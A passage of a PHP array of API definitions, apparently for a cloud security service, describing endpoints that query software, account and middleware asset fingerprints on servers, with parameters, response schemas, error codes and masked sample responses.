'type' => 'string', 'example' => 'i-hp35tftuh52wbp1g****', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.', 'type' => 'string', 'example' => '100.104.XX.XX', ], 'InstallTime' => [ 'description' => 'The installation time of the software.', 'type' => 'string', 'example' => '2022-04-07 10:54:49', ], 'Uuid' => [ 'description' => 'The UUID of the server.', 'type' => 'string', 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', ], 'Version' => [ 'description' => 'The version information of the software asset.', 'type' => 'string', 'example' => '3.10.0', ], 'InstanceName' => [ 'description' => 'The name of the server instance.', 'type' => 'string', 'example' => 'hc-host-****', ], 'Path' => [ 'description' => 'The installation directory information of the software asset.', 'type' => 'string', 'example' => '/etc/test', ], 'Name' => [ 'description' => 'The name of the software.', 'type' => 'string', 'example' => 'aaa_base', ], 'CreateTimestamp' => [ 'description' => 'The timestamp of the latest scan of the asset fingerprint. The unit is milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1649149566000', ], 'InstallTimeDt' => [ 'description' => 'The installation timestamp of the software. The unit is in milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1649066826000', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"6AEE7412-0065-1135-B790-AE2C38BA68FB\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\",\\n \\"InstallTime\\": \\"2022-04-07 10:54:49\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"Version\\": \\"3.10.0\\",\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"Path\\": \\"/etc/test\\",\\n \\"Name\\": \\"aaa_base\\",\\n \\"CreateTimestamp\\": 1649149566000,\\n \\"InstallTimeDt\\": 1649066826000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 6AEE7412-0065-1135-B790-AE2C38BA68FB\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 192.168.XX.XX\\n 192.168.XX.XX\\n i-hp35tftuh52wbp1g****\\n 100.104.XX.XX\\n 2022-04-07 10:54:49\\n 162eb349-c2d9-4f8b-805c-75b43d4c****\\n 3.10.0\\n hc-host-****\\n /etc/test\\n aaa_base\\n 1649149566000\\n \\n","errorExample":""}]', 'title' => 'Retrieve detailed information of a software in the software list', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribePropertySoftwareItem' => [ 'summary' => 'Queries information about all software assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'ForceFlush', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to forcefully refresh the data that you want to query.'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the software that you want to query.'."\n", 'type' => 'string', 'required' => false, 'example' => 'test', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '3A85CFCF-05C8-451A-9E41-C0D5E96BA407', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5037', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'PropertyItems' => [ 'description' => 'An array that consists of the software assets returned.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the software.'."\n", 'type' => 'string', 'example' => 'aaa_base', ], 'Count' => [ 'description' => 'The number of servers on which the software is installed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '23', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"3A85CFCF-05C8-451A-9E41-C0D5E96BA407\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 2,\\n \\"TotalCount\\": 5037,\\n \\"Count\\": 2\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"Name\\": \\"aaa_base\\",\\n \\"Count\\": 23\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\r\\n\\r\\n\\t\\r\\n\\t\\t\\t2\\r\\n\\t\\t\\t2\\r\\n\\t\\t\\t5037\\r\\n\\t\\t\\t1\\r\\n\\t\\r\\n\\t\\r\\n\\t\\t\\ta11y-profile-manager-indicator\\r\\n\\t\\t\\t1\\r\\n\\t\\r\\n\\t\\r\\n\\t\\t\\taaa_base\\r\\n\\t\\t\\t23\\r\\n\\t\\r\\n\\t3A85CFCF-05C8-451A-9E41-C0D5E96BA407\\r\\n\\t","errorExample":""}]', 'title' => 'DescribePropertySoftwareItem', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribePropertyUserDetail' => [ 'summary' => 'Query asset fingerprint user details', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The name or IP address of the server to be queried.', 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'User', 'in' => 'query', 'schema' => [ 'description' => 'The account name of the server to be queried.', 'type' => 'string', 'required' => false, 'example' => 'bin', ], ], [ 'name' => 'IsRoot', 'in' => 'query', 'schema' => [ 'description' => 'Whether the queried account has ROOT privileges. Possible values include:'."\n" ."\n" .'- **0**: No'."\n" .'- **1**: Yes', 'type' => 'string', 'required' => false, 'example' => '0', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server to be queried.', 'type' => 'string', 'required' => false, 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'Set which page of the returned results to start displaying the query results. The default value is **1**, indicating that the display starts from the first page.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'Set the number of account asset fingerprint information items to display per page during pagination. The default value is **10**, indicating that 10 items of account asset fingerprint information are displayed per page.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'LastLoginTimeStart', 'in' => 'query', 'schema' => [ 'description' => 'The start timestamp for the last login retrieval. The unit is milliseconds.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '164922523600', ], ], [ 'name' => 'LastLoginTimeEnd', 'in' => 'query', 'schema' => [ 'description' => 'The end timestamp for the last login retrieval. The unit is milliseconds.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1651298836000', ], ], [ 'name' => 'Extend', 'in' => 'query', 'schema' => [ 'description' => 'Whether the account name supports fuzzy search. To enable fuzzy search, set this parameter\'s value to **1**; other values or an empty value indicate that fuzzy search is not supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'UseNextToken', 'in' => 'query', 'schema' => [ 'description' => 'Whether to use the NextToken method to fetch vulnerability list data. If this parameter is used, TotalCount will no longer be returned. Possible values:'."\n" ."\n" .'- **true**: Use the NextToken method.'."\n" .'- **false**: Do not use the NextToken method.', 'type' => 'boolean', 'required' => false, 'example' => 'false', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'description' => 'Used to mark the starting position for reading. Leave it empty to start from the beginning.'."\n" ."\n" .'> For the first call, you do not need to fill in this field. The response will include the NextToken for the second call, and each subsequent call will include the NextToken for the next call.', 'type' => 'string', 'required' => false, 'example' => 'E17B501887A2D3AA5E8360A6EFA3B***', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the current request, which is a unique identifier generated by Alibaba Cloud for the request, and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '33A71BE3-2CC2-14CB-B460-33A1DD82953A', ], 'PageInfo' => [ 'description' => 'Information displayed on the query result page.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the current page during pagination.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of account asset fingerprint information items to display per page during pagination. The default value is **10**, indicating that 10 items of account asset fingerprint information are displayed per page.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of account asset fingerprint information items queried.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Count' => [ 'description' => 'The number of fingerprint information of account assets displayed on the current page.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'NextToken' => [ 'description' => 'The NextToken value returned using the NextToken method.', 'type' => 'string', 'example' => 'B604532DEF982B875E8360A6EFA3B***', ], ], ], 'Propertys' => [ 'description' => 'Details list of the queried account asset fingerprint information.', 'type' => 'array', 'items' => [ 'description' => 'Details list of the queried account asset fingerprint information.', 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'This parameter is deprecated and should be ignored.', 'type' => 'string', 'example' => '**', ], 'LastLoginIp' => [ 'description' => 'The source IP from which the account last logged in.', 'type' => 'string', 'example' => '192.168.XX.XX', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.', 'type' => 'string', 'example' => '192.168.XX.XX', ], 'LastLoginTime' => [ 'description' => 'The last login time of the account.', 'type' => 'string', 'example' => '2022-04-04 18:07:06', ], 'IsRoot' => [ 'description' => 'Whether the account has ROOT permissions. The values include:'."\n" ."\n" .'- **0**: No'."\n" .'- **1**: Yes', 'type' => 'string', 'example' => '0', ], 'Ip' => [ 'description' => 'The list of IP addresses of the server.', 'type' => 'string', 'example' => '192.168.XX.XX', ], 'User' => [ 'description' => 'The name of the account.', 'type' => 'string', 'example' => 'bin', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.', 'type' => 'string', 'example' => 'i-hp35tftuh52wbp1g****', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.', 'type' => 'string', 'example' => '100.104.XX.XX', ], 'PasswordExpirationDate' => [ 'description' => 'The expiration date of the account password.', 'type' => 'string', 'example' => 'never', ], 'Uuid' => [ 'description' => 'The UUID of the server.', 'type' => 'string', 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', ], 'LastLoginTimestamp' => [ 'description' => 'The timestamp of the last login of the account. The unit is milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1649066826000', ], 'InstanceName' => [ 'description' => 'The name of the server instance.', 'type' => 'string', 'example' => 'hc-host-****', ], 'AccountsExpirationDate' => [ 'description' => 'The expiration date of the account.', 'type' => 'string', 'example' => 'never', ], 'CreateTimestamp' => [ 'description' => 'The timestamp of the latest scan of the asset fingerprint. The unit is milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1649149566000', ], 'GroupNames' => [ 'description' => 'Detailed information about the user groups of the queried account.', 'type' => 'array', 'items' => [ 'description' => 'Detailed information about the user groups of the queried account.', 'type' => 'string', 'example' => '["bin"]', ], ], 'LastLoginTimeDt' => [ 'description' => 'The timestamp of the last login of the account. The unit is milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1649066826000', ], 'IsPasswdExpired' => [ 'description' => 'Whether the password has expired. The values are:'."\n" ."\n" .'- **0**: Expired'."\n" .'- **1**: Not expired', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'IsPasswdLocked' => [ 'description' => 'Whether the password is locked. Values:'."\n" .'- **0**: Locked '."\n" .'- **1**: Not locked', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'IsUserExpired' => [ 'description' => 'Whether the user has expired. Values:'."\n" .'- **0**: Expired'."\n" .' - **1**: Not expired', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'IsCouldLogin' => [ 'description' => 'Whether it is an interactive login account. Values:'."\n" .'- **0**: No'."\n" .' - **1**: Yes', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'IsSudoer' => [ 'description' => 'Whether it is a sudo account. Values:'."\n" .'- **0**: No '."\n" .'- **1**: Yes', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"33A71BE3-2CC2-14CB-B460-33A1DD82953A\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"Status\\": \\"**\\",\\n \\"LastLoginIp\\": \\"192.168.XX.XX\\",\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"LastLoginTime\\": \\"2022-04-04 18:07:06\\",\\n \\"IsRoot\\": \\"0\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"User\\": \\"bin\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\",\\n \\"PasswordExpirationDate\\": \\"never\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"LastLoginTimestamp\\": 1649066826000,\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"AccountsExpirationDate\\": \\"never\\",\\n \\"CreateTimestamp\\": 1649149566000,\\n \\"GroupNames\\": [\\n \\"[\\\\\\"bin\\\\\\"]\\"\\n ],\\n \\"LastLoginTimeDt\\": 1649066826000,\\n \\"IsPasswdExpired\\": 1,\\n \\"IsPasswdLocked\\": 1,\\n \\"IsUserExpired\\": 1,\\n \\"IsCouldLogin\\": 0,\\n \\"IsSudoer\\": 0\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 33A71BE3-2CC2-14CB-B460-33A1DD82953A\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 0\\n 2022-04-05 17:06:06\\n 192.168.XX.XX\\n 192.168.XX.XX\\n 2022-04-04 18:07:06\\n 0\\n 192.168.XX.XX\\n bin\\n i-hp35tftuh52wbp1g****\\n 100.104.XX.XX\\n never\\n 162eb349-c2d9-4f8b-805c-75b43d4c****\\n 1649066826000\\n hc-host-****\\n never\\n 1649149566000\\n 1649066826000\\n 1\\n 1\\n 1\\n 0\\n 0\\n \\n","errorExample":""}]', 'title' => 'Query the fingerprint information of server account assets', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribePropertyUserItem' => [ 'summary' => 'Queries information about an account.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'ForceFlush', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to forcefully refresh the data that you want to query. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'User', 'in' => 'query', 'schema' => [ 'description' => 'The information about the account.'."\n", 'type' => 'string', 'required' => false, 'example' => 'adm', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '2', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '76068BE2-F9C4-4EDD-967B-F503B8CCDD3D', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '114', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], 'PropertyItems' => [ 'description' => 'An array that consists of the account information returned.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'User' => [ 'description' => 'The name of the account.'."\n", 'type' => 'string', 'example' => 'adm', ], 'Count' => [ 'description' => 'The number of servers that belong to the account.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '384', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"76068BE2-F9C4-4EDD-967B-F503B8CCDD3D\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 2,\\n \\"TotalCount\\": 114,\\n \\"Count\\": 2\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"User\\": \\"adm\\",\\n \\"Count\\": 384\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n a123456\\n 1\\n \\n \\n aaaa\\n 1\\n \\n \\n aaaa1\\n 1\\n \\n 76068BE2-F9C4-4EDD-967B-F503B8CCDD3D\\n \\n 3\\n 340\\n 3\\n 1\\n \\n","errorExample":""}]', 'title' => 'DescribePropertyUserItem', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeModuleConfig' => [ 'summary' => 'Queries the configurations of the asset fingerprint module.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Count' => [ 'description' => 'The number of configurations for the module.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'ModuleConfigList' => [ 'description' => 'An array that consists of the configurations of the module.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The configuration of the module.'."\n", 'type' => 'object', 'properties' => [ 'ModuleName' => [ 'description' => 'The name of the module.'."\n", 'type' => 'string', 'example' => 'alihids', ], 'ConfigName' => [ 'description' => 'The name of the configuration.'."\n", 'type' => 'string', 'example' => 'timescan', ], 'Items' => [ 'description' => 'An array that consists of the configuration items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the configuration item.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => 'a47e3713-ed22-4015-93a3-d88ebe6****', ], 'GroupId' => [ 'description' => 'The ID of the server group.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '173', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'inStanceName****', ], 'Region' => [ 'description' => 'The region in which the server resides.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Ip' => [ 'description' => 'The IP address of the server.'."\n", 'type' => 'string', 'example' => '31.13.XX.XX', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'example' => 'i-uf6435dn4t59b9av****', ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HttpStatusCode\\": 200,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"Success\\": true,\\n \\"Count\\": 2,\\n \\"ModuleConfigList\\": [\\n {\\n \\"ModuleName\\": \\"alihids\\",\\n \\"ConfigName\\": \\"timescan\\",\\n \\"Items\\": [\\n {\\n \\"Uuid\\": \\"a47e3713-ed22-4015-93a3-d88ebe6****\\",\\n \\"GroupId\\": 173,\\n \\"InstanceName\\": \\"inStanceName****\\",\\n \\"Region\\": \\"cn-hangzhou\\",\\n \\"Ip\\": \\"31.13.XX.XX\\",\\n \\"InstanceId\\": \\"i-uf6435dn4t59b9av****\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeModuleConfig', ], 'DescribePropertyScaDetail' => [ 'summary' => 'Query Asset Fingerprint Collection Middleware Details', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Biz', 'in' => 'query', 'schema' => [ 'description' => 'The type of the asset fingerprint that you want to query. Default value: **sca**. Valid values:'."\n" ."\n" .'* **sca**: middleware'."\n" .'* **sca_database**: database'."\n" .'* **sca_web**: web service'."\n" ."\n" .'> If you do not specify this parameter, the default value **sca** is used, which indicates that middleware fingerprints are queried.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sca', ], ], [ 'name' => 'SearchItem', 'in' => 'query', 'schema' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **name**: the name of a database, middleware, or web service'."\n" .'* **type**: the type of a database, middleware, or web service'."\n" ."\n" .'> You must specify both the **SearchItem** and **SearchInfo** parameters before you can query the asset fingerprints based on the specified name or type.'."\n", 'type' => 'string', 'required' => false, 'example' => 'name', ], ], [ 'name' => 'SearchInfo', 'in' => 'query', 'schema' => [ 'description' => 'The search keyword. You must specify this parameter based on the value of the **SearchItem** parameter.'."\n" ."\n" .'* If the **SearchItem** parameter is set to **name**, you must enter the name of an asset fingerprint.'."\n" ."\n" .'* If the **SearchItem** parameter is set to **type**, you must enter the type of an asset fingerprint. Valid values:'."\n" ."\n" .' * **system_service**: system service'."\n" .' * **software_library**: software library'."\n" .' * **docker_component**: container component'."\n" .' * **database**: database'."\n" .' * **web_container**: web container'."\n" .' * **jar**: JAR package'."\n" .' * **web_framework**: web framework'."\n" ."\n" .'> You must specify both the **SearchItem** and **SearchInfo** parameters before you can query the asset fingerprints based on the specified name or type.'."\n", 'type' => 'string', 'required' => false, 'example' => 'openssl', ], ], [ 'name' => 'SearchCriteriaList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '搜索条件列表', 'type' => 'array', 'items' => [ 'title' => '搜索条件', 'type' => 'object', 'properties' => [ 'Name' => [ 'title' => '搜索条件名称', 'type' => 'string', 'example' => 'Name', ], 'Value' => [ 'title' => '搜索条件过滤值', 'type' => 'string', 'example' => 'test', ], ], ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'ScaName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the asset fingerprint that you want to query.'."\n", 'type' => 'string', 'required' => false, 'example' => 'openssl', ], ], [ 'name' => 'BizType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the middleware, database, or web service that you want to query. Valid values:'."\n" ."\n" .'* **system_service**: system service'."\n" .'* **software_library**: software library'."\n" .'* **docker_component**: container component'."\n" .'* **database**: database'."\n" .'* **web_container**: web container'."\n" .'* **jar**: JAR package'."\n" .'* **web_framework**: web framework'."\n", 'type' => 'string', 'required' => false, 'example' => 'system_service', ], ], [ 'name' => 'SearchItemSub', 'in' => 'query', 'schema' => [ 'description' => 'The type of the subquery. Valid values:'."\n" ."\n" .'* **port**'."\n" .'* **pid**'."\n" .'* **version**'."\n" .'* **user**'."\n", 'type' => 'string', 'required' => false, 'example' => 'version', ], ], [ 'name' => 'SearchInfoSub', 'in' => 'query', 'schema' => [ 'description' => 'The keyword of the subquery. You must specify this parameter based on the value of the **SearchItemSub** parameter.'."\n" ."\n" .'* If the **SearchItemSub** parameter is set to **port**, you must enter a port number.'."\n" .'* If the **SearchItemSub** parameter is set to **pid**, you must enter a process ID (PID).'."\n" .'* If the **SearchItemSub** parameter is set to **version**, you must enter the version of a database, middleware, or web service.'."\n" .'* If the **SearchItemSub** parameter is set to **user**, you must enter a username.'."\n" ."\n" .'> The subquery is used to search for data of a specified database, middleware, or web service.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.0.2k', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The search condition, such as a server name or a server IP address.'."\n" ."\n" .'> Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the middleware, database, or web service.'."\n" ."\n" .'> This parameter is deprecated. You can ignore it.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server on which the middleware, database, or web service is run.'."\n", 'type' => 'string', 'required' => false, 'example' => 'uuid-02ebabe7-1c19-ab****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **10**.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'ScaVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the middleware, database, or web service.'."\n", 'type' => 'string', 'required' => false, 'example' => '1.0.2k', ], ], [ 'name' => 'Port', 'in' => 'query', 'schema' => [ 'description' => 'The port that the process monitors.'."\n", 'type' => 'string', 'required' => false, 'example' => '68', ], ], [ 'name' => 'User', 'in' => 'query', 'schema' => [ 'description' => 'The user who runs the process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'root', ], ], [ 'name' => 'Pid', 'in' => 'query', 